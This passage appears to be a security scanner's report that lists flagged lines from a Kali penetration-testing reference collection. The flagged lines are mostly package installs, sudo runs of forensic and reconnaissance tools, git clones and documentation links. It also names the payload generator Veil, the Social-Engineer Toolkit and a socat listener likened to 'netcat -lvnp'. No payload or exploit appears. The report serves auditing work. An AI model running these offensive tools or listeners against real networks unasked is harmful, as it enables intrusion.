  • Network accessline 173
    - [Exploit-DB](https://www.exploit-db.com/)
  • Network accessline 174
    - [ExploitDB GitLab](https://gitlab.com/exploit-database/exploitdb)
  • Network accessline 175
    - [Google Hacking Database](https://www.exploit-db.com/google-hacking-database)
  • Network accessline 176
    - [Exploit-DB Papers](https://www.exploit-db.com/papers)
  • Network accessline 177
    - [Exploit-DB Shellcodes](https://www.exploit-db.com/shellcodes)

kali-pentest/references/exploitation/tools/setoolkit.md

  • Network accessline 42
    - [Social-Engineer Toolkit GitHub](https://github.com/trustedsec/social-engineer-toolkit)
  • Network accessline 43
    - [Kali set](https://www.kali.org/tools/set/)

kali-pentest/references/exploitation/tools/smbclient.md

  • Dangerous shell operationline 15
    sudo apt install smbclient
  • Network accessline 81
    - [smbclient Man Page](https://www.samba.org/samba/docs/current/man-html/smbclient.1.html)

kali-pentest/references/exploitation/tools/socat.md

  • Dangerous shell operationline 15
    sudo apt install socat
  • Network accessline 37
    # Basic TCP listener (equivalent to netcat -lvnp)
  • Network accessline 77
    - [socat Debian man page](https://manpages.debian.org/socat/socat.1.en.html)
  • Network accessline 78
    - [Kali socat](https://www.kali.org/tools/socat/)

kali-pentest/references/exploitation/tools/veil.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install veil
  • Network accessline 78
    - [Veil GitHub](https://github.com/Veil-Framework/Veil)
  • Network accessline 79
    - [Kali Veil](https://www.kali.org/tools/veil/)

kali-pentest/references/forensics/README.md

  • Network accessline 165
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest/references/forensics/tools/bulk-extractor.md

  • Dangerous shell operationline 15
    sudo apt install bulk-extractor
  • Network accessline 105
    - [bulk-extractor (GitHub)](https://github.com/simsong/bulk_extractor)
  • Network accessline 106
    - [Kali bulk-extractor](https://www.kali.org/tools/bulk-extractor/)

kali-pentest/references/forensics/tools/chainsaw.md

  • Dangerous shell operationline 15
    sudo apt install chainsaw
  • Network accessline 64
    1. Download Sigma rules and mappings separately: `git clone https://github.com/SigmaHQ/sigma.git`
  • Network accessline 74
    - [Chainsaw (GitHub)](https://github.com/WithSecureLabs/chainsaw)
  • Network accessline 75
    - [Kali chainsaw](https://www.kali.org/tools/chainsaw/)

kali-pentest/references/forensics/tools/chkrootkit.md

  • Dangerous shell operationline 15
    sudo apt install chkrootkit
  • Dangerous shell operationline 34
    sudo chkrootkit
  • Dangerous shell operationline 37
    sudo chkrootkit -q
  • Dangerous shell operationline 40
    sudo chkrootkit -x
  • Dangerous shell operationline 46
    sudo chkrootkit -r /mnt/evidence
  • Dangerous shell operationline 49
    sudo chkrootkit -p /mnt/trusted_bin
  • Dangerous shell operationline 52
    sudo chkrootkit -n
  • Dangerous shell operationline 55
    sudo chkrootkit -e "/tmp /var/tmp"
  • Dangerous shell operationline 58
    sudo chkrootkit chkutmp
  • Dangerous shell operationline 61
    sudo chkrootkit -q > /tmp/chkrootkit_report.txt 2>&1
  • Network accessline 78
    - [chkrootkit Official Site](http://www.chkrootkit.org/)
  • Network accessline 79
    - [Kali chkrootkit](https://www.kali.org/tools/chkrootkit/)

kali-pentest/references/forensics/tools/dc3dd.md

  • Dangerous shell operationline 15
    sudo apt install dc3dd
  • Network accessline 65
    - [dc3dd Debian man page](https://manpages.debian.org/dc3dd/dc3dd.1.en.html)
  • Network accessline 66
    - [Kali dc3dd](https://www.kali.org/tools/dc3dd/)

kali-pentest/references/forensics/tools/dcfldd.md

  • Dangerous shell operationline 15
    sudo apt install dcfldd
  • Network accessline 81
    - [Kali dcfldd](https://www.kali.org/tools/dcfldd/)
  • Network accessline 82
    - [dcfldd (GitHub)](https://github.com/resurrecting-open-source-projects/dcfldd)

kali-pentest/references/forensics/tools/ddrescue.md

  • Dangerous shell operationline 15
    sudo apt install gddrescue
  • Dangerous shell operationline 42
    sudo ddrescue /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 45
    sudo ddrescue -n /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 48
    sudo ddrescue -r 3 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 51
    sudo ddrescue -R -r 3 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 54
    sudo ddrescue -d -n /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 57
    sudo ddrescue -v --log-events /mnt/output/events.log /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 60
    sudo ddrescue -s 1G /dev/sdb /mnt/output/partial.img /mnt/output/partial.map
  • Dangerous shell operationline 63
    sudo ddrescue -b 4096 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 66
    sudo ddrescue -f /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Network accessline 83
    - [GNU ddrescue (Official)](https://www.gnu.org/software/ddrescue/)

kali-pentest/references/forensics/tools/exiftool.md

  • Dangerous shell operationline 15
    sudo apt install libimage-exiftool-perl
  • Network accessline 66
    1. Always work on a copy of evidence files — use `-overwrite_original` only when you intentionally want to modify the source. 2. GPS coordinates in EXIF data can be converted to Google Maps links such as `https://maps.google.com/?q=<lat>,<l
  • Network accessline 67
    2. GPS coordinates in EXIF data can be converted to Google Maps links such as `https://maps.google.com/?q=<lat>,<lon>`
  • Network accessline 76
    - [ExifTool Official Site](https://exiftool.org/)
  • Network accessline 77
    - [ExifTool Application Documentation](https://exiftool.org/exiftool_pod.html)
  • Network accessline 78
    - [ExifTool Tag Names Reference](https://exiftool.org/TagNames/)
  • Network accessline 79
    - [ExifTool (GitHub)](https://github.com/exiftool/exiftool)

kali-pentest/references/forensics/tools/foremost.md

  • Dangerous shell operationline 15
    sudo apt install foremost
  • Network accessline 69
    - [Foremost (SourceForge)](http://foremost.sourceforge.net/)
  • Network accessline 70
    - [Kali foremost](https://www.kali.org/tools/foremost/)

kali-pentest/references/forensics/tools/hashdeep.md

  • Dangerous shell operationline 15
    sudo apt install hashdeep
  • Network accessline 87
    - [hashdeep GitHub](https://github.com/jessek/hashdeep)
  • Network accessline 88
    - [Kali hashdeep](https://www.kali.org/tools/hashdeep/)

kali-pentest/references/forensics/tools/plaso.md

  • Dangerous shell operationline 24
    sudo apt install plaso
  • Network accessline 122
    - [plaso (GitHub)](https://github.com/log2timeline/plaso)
  • Network accessline 123
    - [plaso Documentation](https://plaso.readthedocs.io/)
  • Network accessline 124
    - [plaso — Kali Tools](https://www.kali.org/tools/plaso/)

kali-pentest/references/forensics/tools/regripper.md

  • Dangerous shell operationline 15
    sudo apt install regripper
  • Network accessline 86
    - [RegRipper 3.0 (GitHub)](https://github.com/keydet89/RegRipper3.0)
  • Network accessline 87
    - [Kali regripper](https://www.kali.org/tools/regripper/)

kali-pentest/references/forensics/tools/rkhunter.md

  • Dangerous shell operationline 15
    sudo apt install rkhunter
  • Dangerous shell operationline 44
    sudo rkhunter --check
  • Dangerous shell operationline 47
    sudo rkhunter --check --skip-keypress
  • Dangerous shell operationline 50
    sudo rkhunter --check --report-warnings-only --skip-keypress
  • Dangerous shell operationline 53
    sudo rkhunter --update
  • Dangerous shell operationline 56
    sudo rkhunter --propupd
  • Dangerous shell operationline 59
    sudo rkhunter --versioncheck
  • Dangerous shell operationline 65
    sudo rkhunter --check --enable rootkits,trojans --skip-keypress
  • Dangerous shell operationline 68
    sudo rkhunter --check --disable apps --skip-keypress
  • Dangerous shell operationline 71
    sudo rkhunter --cronjob --logfile /var/log/rkhunter.log
  • Network accessline 89
    - [rkhunter Official Site](https://rkhunter.sourceforge.net/)
  • Network accessline 90
    - [Kali rkhunter](https://www.kali.org/tools/rkhunter/)

kali-pentest/references/forensics/tools/scalpel.md

  • Dangerous shell operationline 15
    sudo apt install scalpel
  • Dangerous shell operationline 36
    sudo nano /etc/scalpel/scalpel.conf
  • Dangerous shell operationline 42
    sudo scalpel -c /etc/scalpel/scalpel.conf -o /tmp/carved/ /dev/sdb
  • Network accessline 71
    - [Kali scalpel](https://www.kali.org/tools/scalpel/)
  • Network accessline 72
    - [scalpel (GitHub - Sleuth Kit)](https://github.com/sleuthkit/scalpel)

kali-pentest/references/forensics/tools/sleuthkit.md

  • Dangerous shell operationline 15
    sudo apt install sleuthkit
  • Network accessline 136
    - [The Sleuth Kit](https://www.sleuthkit.org/)
  • Network accessline 137
    - [sleuthkit (GitHub)](https://github.com/sleuthkit/sleuthkit)
  • Network accessline 138
    - [sleuthkit — Kali Tools](https://www.kali.org/tools/sleuthkit/)

kali-pentest/references/forensics/tools/ssdeep.md

  • Dangerous shell operationline 15
    sudo apt install ssdeep
  • Network accessline 85
    - [ssdeep Official Site](https://ssdeep-project.github.io/ssdeep/)
  • Network accessline 86
    - [Kali ssdeep](https://www.kali.org/tools/ssdeep/)

kali-pentest/references/forensics/tools/steghide.md

  • Dangerous shell operationline 15
    sudo apt install steghide
  • Network accessline 77
    - [Steghide Official Site](http://steghide.sourceforge.net/)
  • Network accessline 78
    - [Stegseek - Recommended Alternative (GitHub)](https://github.com/RickdeJager/stegseek)

kali-pentest/references/forensics/tools/stegseek.md

  • Network accessline 15
    # Not in Kali apt repos; install via .deb from GitHub releases: wget https://github.com/RickdeJager/stegseek/releases/latest/download/stegseek_0.6-1.deb
  • Network accessline 16
    wget https://github.com/RickdeJager/stegseek/releases/latest/download/stegseek_0.6-1.deb
  • Network accessline 67
    - [stegseek (GitHub)](https://github.com/RickdeJager/stegseek)

kali-pentest/references/forensics/tools/tcpdump.md

  • Dangerous shell operationline 15
    sudo apt install tcpdump
  • Network accessline 83
    - [tcpdump man page](https://www.tcpdump.org/manpages/tcpdump.1.html)
  • Network accessline 84
    - [Kali tcpdump](https://www.kali.org/tools/tcpdump/)

kali-pentest/references/forensics/tools/tcpflow.md

  • Dangerous shell operationline 15
    sudo apt install tcpflow
  • Dangerous shell operationline 49
    sudo tcpflow -i eth0 -o /tmp/flows/
  • Dangerous shell operationline 70
    sudo tcpflow -i eth0 -o /tmp/flows/ "dst port 22"
  • Network accessline 90
    - [Kali tcpflow](https://www.kali.org/tools/tcpflow/)
  • Network accessline 91
    - [tcpflow (GitHub)](https://github.com/simsong/tcpflow)

kali-pentest/references/forensics/tools/testdisk.md

  • Dangerous shell operationline 15
    sudo apt install testdisk
  • Dangerous shell operationline 42
    sudo testdisk /log
  • Dangerous shell operationline 45
    sudo testdisk /log /dev/sda
  • Dangerous shell operationline 51
    sudo testdisk /cmd /dev/sda analyze
  • Dangerous shell operationline 54
    sudo testdisk /cmd /dev/sda search
  • Dangerous shell operationline 60
    sudo testdisk /debug /log /dev/sda
  • Dangerous shell operationline 63
    sudo photorec /log /dev/sda
  • Dangerous shell operationline 66
    sudo photorec /d /tmp/recovered/ /log /dev/sda
  • Dangerous shell operationline 69
    sudo photorec /cmd /dev/sda1 fileopt,everything,enable,search
  • Network accessline 89
    - [TestDisk Official Documentation](https://www.cgsecurity.org/wiki/TestDisk)
  • Network accessline 90
    - [Kali testdisk](https://www.kali.org/tools/testdisk/)

kali-pentest/references/forensics/tools/tshark.md

  • Dangerous shell operationline 15
    sudo apt install wireshark
  • Network accessline 82
    - [tshark man page](https://www.wireshark.org/docs/man-pages/tshark.html)
  • Network accessline 83
    - [Kali wireshark/tshark](https://www.kali.org/tools/wireshark/)

kali-pentest/references/forensics/tools/volatility.md

  • Dangerous shell operationline 15
    sudo apt install volatility3
  • Network accessline 121
    # Note: /proc/kcore is the live kernel's ELF core; size varies and may not capture full RAM reliably # Use the LiME (Linux Memory Extractor) kernel module for reliable full RAM dumps: # git clone https://github.com/504ensicsLabs/LiME
  • Network accessline 122
    # Use the LiME (Linux Memory Extractor) kernel module for reliable full RAM dumps: # git clone https://github.com/504ensicsLabs/LiME # cd LiME/src && make && insmod lime-*.ko "path=/tmp/memory.raw format=raw"
  • Network accessline 123
    # git clone https://github.com/504ensicsLabs/LiME
  • Dangerous shell operationline 125
    sudo dd if=/proc/kcore of=/tmp/memory.raw bs=1M 2>/dev/null || true  # Fallback (limited)
  • Network accessline 140
    - [Volatility3 Documentation](https://volatility3.readthedocs.io/)
  • Network accessline 141
    - [Volatility3 (GitHub)](https://github.com/volatilityfoundation/volatility3)

kali-pentest/references/forensics/tools/yara.md

  • Dangerous shell operationline 15
    sudo apt install yara
  • Network accessline 91
    # Download YARA rules from Awesome YARA or YARA-Rules project git clone https://github.com/Yara-Rules/rules.git /opt/yara-rules
  • Network accessline 92
    git clone https://github.com/Yara-Rules/rules.git /opt/yara-rules
  • Network accessline 123
    - [YARA Documentation](https://yara.readthedocs.io/)
  • Network accessline 124
    - [YARA (GitHub)](https://github.com/VirusTotal/yara)
  • Network accessline 125
    - [yara — Kali Tools](https://www.kali.org/tools/yara/)

kali-pentest/references/information-gathering/README.md

  • Network accessline 264
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest/references/information-gathering/tools/altdns.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install altdns
  • Network accessline 59
    - [altdns GitHub](https://github.com/infosec-au/altdns)
  • Network accessline 60
    - [Kali altdns](https://www.kali.org/tools/altdns/)

kali-pentest/references/information-gathering/tools/amass.md

  • Dangerous shell operationline 21
    sudo apt install amass
  • Access to secretsline 197
    [Credential-related source omitted]
  • Access to secretsline 201
    [Credential-related source omitted]
  • Access to secretsline 205
    [Credential-related source omitted]
  • Network accessline 230
    - [OWASP Amass GitHub](https://github.com/owasp-amass/amass)
  • Network accessline 231
    - [Amass Documentation](https://owasp-amass.github.io/docs)

kali-pentest/references/information-gathering/tools/arp-scan.md

  • Dangerous shell operationline 15
    sudo apt install arp-scan
  • Dangerous shell operationline 34
    sudo arp-scan -l
  • Dangerous shell operationline 37
    sudo arp-scan -I eth0 -l
  • Dangerous shell operationline 40
    sudo arp-scan 192.168.1.0/24
  • Dangerous shell operationline 43
    sudo arp-scan 192.168.1.1 192.168.1.2 192.168.1.100
  • Dangerous shell operationline 46
    sudo arp-scan -l --bandwidth 1000k
  • Dangerous shell operationline 49
    sudo arp-scan -l  # Automatically queries MAC vendor database by default
  • Dangerous shell operationline 57
    4. MAC vendor lookup is done against a local OUI database (`/usr/share/arp-scan/ieee-oui.txt`); update it with `sudo get-oui` if vendor info seems stale.
  • Network accessline 64
    - [arp-scan GitHub](https://github.com/royhills/arp-scan)
  • Network accessline 65
    - [Kali arp-scan](https://www.kali.org/tools/arp-scan/)

kali-pentest/references/information-gathering/tools/assetfinder.md

  • Dangerous shell operationline 15
    sudo apt install assetfinder
  • Network accessline 59
    - [assetfinder (GitHub)](https://github.com/tomnomnom/assetfinder)
  • Network accessline 60
    - [Kali assetfinder](https://www.kali.org/tools/assetfinder/)

kali-pentest/references/information-gathering/tools/autorecon.md

  • Dangerous shell operationline 15
    sudo apt install autorecon
  • Dangerous shell operationline 74
    5. Install dependencies if missing: `sudo apt install autorecon` on a fresh Kali.
  • Network accessline 80
    - [AutoRecon (GitHub)](https://github.com/AutoRecon/AutoRecon)
  • Network accessline 81
    - [Kali autorecon](https://www.kali.org/tools/autorecon/)

kali-pentest/references/information-gathering/tools/certgraph.md

  • Dangerous shell operationline 15
    sudo apt install certgraph
  • Network accessline 119
    - [certgraph (GitHub)](https://github.com/lanrat/certgraph)
  • Network accessline 120
    - [Kali certgraph](https://www.kali.org/tools/certgraph/)

kali-pentest/references/information-gathering/tools/cloud-enum.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install cloud-enum
  • Network accessline 65
    - [cloud_enum GitHub](https://github.com/initstring/cloud_enum)
  • Network accessline 66
    - [Kali cloud-enum](https://www.kali.org/tools/cloud-enum/)

kali-pentest/references/information-gathering/tools/cloudbrute.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install cloudbrute
  • Network accessline 66
    - [CloudBrute GitHub](https://github.com/0xsha/CloudBrute)
  • Network accessline 67
    - [Kali cloudbrute](https://www.kali.org/tools/cloudbrute/)

kali-pentest/references/information-gathering/tools/dig.md

  • Dangerous shell operationline 15
    sudo apt install bind9-dnsutils
  • Network accessline 108
    - [BIND 9 dig Man Page](https://bind9.readthedocs.io/en/latest/manpages.html#dig)

kali-pentest/references/information-gathering/tools/dmitry.md

  • Dangerous shell operationline 15
    sudo apt install dmitry
  • Network accessline 63
    - [DMitry GitHub](https://github.com/jaygreig86/dmitry)

kali-pentest/references/information-gathering/tools/dnsenum.md

  • Dangerous shell operationline 15
    sudo apt install dnsenum
  • Network accessline 64
    - [dnsenum GitHub](https://github.com/fwaeytens/dnsenum)
  • Network accessline 65
    - [Kali dnsenum](https://www.kali.org/tools/dnsenum/)

kali-pentest/references/information-gathering/tools/dnsgen.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install dnsgen
  • Network accessline 56
    - [dnsgen GitHub](https://github.com/AlephNullSK/dnsgen)
  • Network accessline 57
    - [Kali dnsgen](https://www.kali.org/tools/dnsgen/)

kali-pentest/references/information-gathering/tools/dnsmap.md

  • Dangerous shell operationline 15
    sudo apt install dnsmap
  • Network accessline 60
    - [dnsmap (GitHub)](https://github.com/resurrecting-open-source-projects/dnsmap)
  • Network accessline 61
    - [Kali dnsmap](https://www.kali.org/tools/dnsmap/)

kali-pentest/references/information-gathering/tools/dnsrecon.md

  • Dangerous shell operationline 15
    sudo apt install dnsrecon
  • Network accessline 76
    - [dnsrecon GitHub](https://github.com/darkoperator/dnsrecon)

kali-pentest/references/information-gathering/tools/dnstwist.md

  • Dangerous shell operationline 15
    sudo apt install dnstwist
  • Network accessline 76
    - [dnstwist (GitHub)](https://github.com/elceef/dnstwist)
  • Network accessline 77
    - [Kali dnstwist](https://www.kali.org/tools/dnstwist/)

kali-pentest/references/information-gathering/tools/dnsx.md

  • Dangerous shell operationline 15
    sudo apt install dnsx
  • Network accessline 80
    - [dnsx (GitHub)](https://github.com/projectdiscovery/dnsx)
  • Network accessline 81
    - [Kali dnsx](https://www.kali.org/tools/dnsx/)

kali-pentest/references/information-gathering/tools/eyewitness.md

  • Dangerous shell operationline 15
    sudo apt install eyewitness
  • Network accessline 41
    # Single target eyewitness --single http://target.com --web -d /tmp/
  • Network accessline 42
    eyewitness --single http://target.com --web -d /tmp/
  • Network accessline 67
    - [EyeWitness GitHub](https://github.com/RedSiege/EyeWitness)

kali-pentest/references/information-gathering/tools/fierce.md

  • Dangerous shell operationline 15
    sudo apt install fierce
  • Network accessline 73
    - [fierce GitHub](https://github.com/mschwager/fierce)

kali-pentest/references/information-gathering/tools/finalrecon.md

  • Dangerous shell operationline 15
    sudo apt install finalrecon
  • Network accessline 50
    # Full reconnaissance (all modules) finalrecon --url http://example.com --full
  • Network accessline 51
    finalrecon --url http://example.com --full
  • Network accessline 53
    # Header and SSL analysis only finalrecon --url http://example.com --headers --sslinfo
  • Network accessline 54
    finalrecon --url http://example.com --headers --sslinfo
  • Network accessline 56
    # DNS + subdomain enumeration finalrecon --url http://example.com --dns --sub
  • Network accessline 57
    finalrecon --url http://example.com --dns --sub
  • Network accessline 59
    # Combine web crawling and Wayback URLs finalrecon --url http://example.com --crawl --wayback
  • Network accessline 60
    finalrecon --url http://example.com --crawl --wayback
  • Network accessline 62
    # Port scan + WHOIS finalrecon --url http://example.com --ps --whois
  • Network accessline 63
    finalrecon --url http://example.com --ps --whois
  • Network accessline 78
    - [finalrecon (GitHub)](https://github.com/thewhiteh4t/FinalRecon)
  • Network accessline 79
    - [Kali finalrecon](https://www.kali.org/tools/finalrecon/)

kali-pentest/references/information-gathering/tools/findomain.md

  • Dangerous shell operationline 15
    sudo apt install findomain
  • Network accessline 71
    - [Findomain (GitHub)](https://github.com/Findomain/Findomain)
  • Network accessline 72
    - [Kali Findomain](https://www.kali.org/tools/findomain/)

kali-pentest/references/information-gathering/tools/fping.md

  • Dangerous shell operationline 15
    sudo apt install fping
  • Network accessline 72
    - [fping Official Site](https://fping.org/)
  • Network accessline 73
    - [Kali fping](https://www.kali.org/tools/fping/)

kali-pentest/references/information-gathering/tools/getallurls.md

  • Dangerous shell operationline 15
    sudo apt install getallurls
  • Network accessline 53
    # Use a proxy echo "example.com" | gau -p http://127.0.0.1:8080
  • Network accessline 54
    echo "example.com" | gau -p http://127.0.0.1:8080
  • Network accessline 79
    - [getallurls / gau (GitHub)](https://github.com/lc/gau)
  • Network accessline 80
    - [Kali getallurls](https://www.kali.org/tools/getallurls/)

kali-pentest/references/information-gathering/tools/gowitness.md

  • Dangerous shell operationline 15
    sudo apt install gowitness
  • Network accessline 58
    # Screenshot a single URL (v3) gowitness scan single -u http://target.com --write-db
  • Network accessline 59
    gowitness scan single -u http://target.com --write-db
  • Network accessline 60
    #   v2.x legacy: gowitness single http://target.com
  • Network accessline 81
    gowitness report server --host 127.0.0.1 --port 7171 --db-uri sqlite://gowitness.sqlite3 #   v2.x legacy: gowitness report serve --address 127.0.0.1:7171 # Access http://127.0.0.1:7171
  • Network accessline 83
    # Access http://127.0.0.1:7171
  • Network accessline 94
    # Use a proxy (v3 uses --chrome-proxy; v2 used --proxy) gowitness scan file -f urls.txt --chrome-proxy http://127.0.0.1:8080 --write-db
  • Network accessline 95
    gowitness scan file -f urls.txt --chrome-proxy http://127.0.0.1:8080 --write-db
  • Network accessline 111
    - [gowitness (GitHub)](https://github.com/sensepost/gowitness)

kali-pentest/references/information-gathering/tools/h8mail.md

  • Dangerous shell operationline 15
    sudo apt install h8mail
  • Network accessline 119
    - [h8mail (GitHub)](https://github.com/khast3x/h8mail)
  • Network accessline 120
    - [Kali h8mail](https://www.kali.org/tools/h8mail/)

kali-pentest/references/information-gathering/tools/hakrawler.md

  • Dangerous shell operationline 15
    sudo apt install hakrawler
  • Network accessline 25
    | `-subs` | Follow links to subdomains | | `-t <n>` | Threads (default: 8) | | `-proxy <url>` | Proxy URL (e.g., http://127.0.0.1:8080) |
  • Network accessline 26
    | `-t <n>` | Threads (default: 8) | | `-proxy <url>` | Proxy URL (e.g., http://127.0.0.1:8080) | | `-h` | Custom headers (`"Name: value;;Name2: value2"` format, separated by `;;`) |
  • Network accessline 27
    | `-proxy <url>` | Proxy URL (e.g., http://127.0.0.1:8080) |
  • Network accessline 37
    # Crawl a single URL echo https://example.com | hakrawler
  • Network accessline 38
    echo https://example.com | hakrawler
  • Network accessline 40
    # Crawl to depth 3 echo https://example.com | hakrawler -d 3
  • Network accessline 41
    echo https://example.com | hakrawler -d 3
  • Network accessline 43
    # Follow subdomains echo https://example.com | hakrawler -subs
  • Network accessline 44
    echo https://example.com | hakrawler -subs
  • Network accessline 52
    # Route through Burp Suite proxy echo https://example.com | hakrawler -proxy http://127.0.0.1:8080 -insecure
  • Network accessline 53
    echo https://example.com | hakrawler -proxy http://127.0.0.1:8080 -insecure
  • Network accessline 55
    # Extract JavaScript files echo https://example.com | hakrawler | grep '\.js$'
  • Network accessline 56
    echo https://example.com | hakrawler | grep '\.js$'
  • Network accessline 71
    - [hakrawler (GitHub)](https://github.com/hakluke/hakrawler)
  • Network accessline 72
    - [Kali hakrawler](https://www.kali.org/tools/hakrawler/)

kali-pentest/references/information-gathering/tools/hosthunter.md

  • Dangerous shell operationline 15
    sudo apt install hosthunter
  • Network accessline 19
    # Or install from source git clone https://github.com/SpiderLabs/HostHunter.git
  • Network accessline 20
    git clone https://github.com/SpiderLabs/HostHunter.git
  • Network accessline 99
    - [HostHunter (GitHub)](https://github.com/SpiderLabs/HostHunter)
  • Network accessline 100
    - [Kali HostHunter](https://www.kali.org/tools/hosthunter/)

kali-pentest/references/information-gathering/tools/httprobe.md

  • Dangerous shell operationline 15
    sudo apt install httprobe
  • Network accessline 65
    - [httprobe (GitHub)](https://github.com/tomnomnom/httprobe)
  • Network accessline 66
    - [Kali httprobe](https://www.kali.org/tools/httprobe/)

kali-pentest/references/information-gathering/tools/httpx.md

  • Dangerous shell operationline 17
    sudo apt install httpx-toolkit
  • Network accessline 67
    httpx-toolkit -u https://example.com -sc -title -td -server
  • Network accessline 109
    httpx-toolkit -l targets.txt -sc -title -proxy http://127.0.0.1:8080 -rl 10 -threads 5
  • Network accessline 127
    - [httpx - GitHub](https://github.com/projectdiscovery/httpx)
  • Network accessline 128
    - [httpx - ProjectDiscovery Documentation](https://docs.projectdiscovery.io/tools/httpx/overview)

kali-pentest/references/information-gathering/tools/ldeep.md

  • Dangerous shell operationline 15
    sudo apt install ldeep
  • Network accessline 144
    - [ldeep (GitHub)](https://github.com/franc-pentest/ldeep)
  • Network accessline 145
    - [Kali ldeep](https://www.kali.org/tools/ldeep/)

kali-pentest/references/information-gathering/tools/masscan.md

  • Dangerous shell operationline 17
    sudo apt install masscan
  • Network accessline 19
    # Compile from source git clone https://github.com/robertdavidgraham/masscan
  • Network accessline 20
    git clone https://github.com/robertdavidgraham/masscan
  • Network accessline 120
    - [masscan GitHub](https://github.com/robertdavidgraham/masscan)

kali-pentest/references/information-gathering/tools/massdns.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install massdns
  • Network accessline 59
    - [massdns GitHub](https://github.com/blechschmidt/massdns)
  • Network accessline 60
    - [Kali massdns](https://www.kali.org/tools/massdns/)

kali-pentest/references/information-gathering/tools/metagoofil.md

  • Dangerous shell operationline 15
    sudo apt install metagoofil
  • Network accessline 87
    - [Metagoofil - GitHub](https://github.com/opsdisk/metagoofil)
  • Network accessline 88
    - [Metagoofil - Kali Tools](https://www.kali.org/tools/metagoofil/)

kali-pentest/references/information-gathering/tools/naabu.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install naabu
  • Network accessline 76
    - [naabu GitHub](https://github.com/projectdiscovery/naabu)
  • Network accessline 77
    - [naabu Documentation](https://docs.projectdiscovery.io/tools/naabu/overview)
  • Network accessline 78
    - [Kali naabu](https://www.kali.org/tools/naabu/)

kali-pentest/references/information-gathering/tools/nbtscan.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install nbtscan
  • Network accessline 68
    - [nbtscan Project](http://www.unixwiz.net/tools/nbtscan.html)
  • Network accessline 69
    - [Kali nbtscan](https://www.kali.org/tools/nbtscan/)

kali-pentest/references/information-gathering/tools/netdiscover.md

  • Dangerous shell operationline 15
    sudo apt install netdiscover
  • Dangerous shell operationline 44
    sudo netdiscover -r 192.168.1.0/24
  • Dangerous shell operationline 47
    sudo netdiscover -i eth0 -r 192.168.1.0/24
  • Dangerous shell operationline 50
    sudo netdiscover -p -i eth0
  • Dangerous shell operationline 53
    sudo netdiscover -r 10.0.0.0/24 -f
  • Dangerous shell operationline 56
    sudo netdiscover -r 192.168.1.0/24 -s 100
  • Network accessline 71
    - [netdiscover GitHub](https://github.com/netdiscover-scanner/netdiscover)
  • Network accessline 72
    - [Kali netdiscover](https://www.kali.org/tools/netdiscover/)

kali-pentest/references/information-gathering/tools/nmap.md

  • Dangerous shell operationline 15
    sudo apt install nmap
  • Network accessline 296
    - [Nmap Reference Guide](https://nmap.org/book/man.html)
  • Network accessline 297
    - [Nmap NSE Scripts](https://nmap.org/nsedoc/)
  • Network accessline 298
    - [Nmap Official Site](https://nmap.org/)

kali-pentest/references/information-gathering/tools/p0f.md

  • Dangerous shell operationline 15
    sudo apt install p0f
  • Dangerous shell operationline 39
    sudo p0f -i eth0
  • Dangerous shell operationline 45
    sudo p0f -i eth0 -o /tmp/p0f.log
  • Dangerous shell operationline 48
    sudo p0f -i eth0 -s /tmp/p0f.sock
  • Network accessline 63
    - [p0f Official Site](https://lcamtuf.coredump.cx/p0f3/)
  • Network accessline 64
    - [p0f GitHub (unofficial mirror)](https://github.com/p0f/p0f)

kali-pentest/references/information-gathering/tools/recon-ng.md

  • Dangerous shell operationline 17
    sudo apt install recon-ng
  • Network accessline 17
    sudo apt install recon-ng git clone https://github.com/lanmaster53/recon-ng
  • Network accessline 18
    git clone https://github.com/lanmaster53/recon-ng
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Network accessline 229
    - [recon-ng GitHub](https://github.com/lanmaster53/recon-ng)
  • Network accessline 230
    - [recon-ng Wiki](https://github.com/lanmaster53/recon-ng/wiki)

kali-pentest/references/information-gathering/tools/sherlock.md

  • Dangerous shell operationline 15
    sudo apt install sherlock
  • Network accessline 22
    # Or clone and install from source git clone https://github.com/sherlock-project/sherlock.git
  • Network accessline 23
    git clone https://github.com/sherlock-project/sherlock.git
  • Network accessline 123
    - [Sherlock Project (GitHub)](https://github.com/sherlock-project/sherlock)
  • Network accessline 124
    - [Kali Sherlock](https://www.kali.org/tools/sherlock/)

kali-pentest/references/information-gathering/tools/shodan.md

  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 113
    - [Shodan CLI](https://help.shodan.io/command-line-interface/0-installation)
  • Network accessline 114
    - [Shodan Developer API](https://developer.shodan.io/api)

kali-pentest/references/information-gathering/tools/spiderfoot.md

  • Dangerous shell operationline 15
    sudo apt install spiderfoot
  • Network accessline 46
    # Start the web interface (access at http://127.0.0.1:5001)
  • Network accessline 77
    - [SpiderFoot (GitHub)](https://github.com/smicallef/spiderfoot)
  • Network accessline 78
    - [Kali spiderfoot](https://www.kali.org/tools/spiderfoot/)

kali-pentest/references/information-gathering/tools/subfinder.md

  • Dangerous shell operationline 15
    sudo apt install subfinder
  • Network accessline 71
    - [subfinder (GitHub)](https://github.com/projectdiscovery/subfinder)
  • Network accessline 72
    - [Kali subfinder](https://www.kali.org/tools/subfinder/)

kali-pentest/references/information-gathering/tools/sublist3r.md

  • Dangerous shell operationline 17
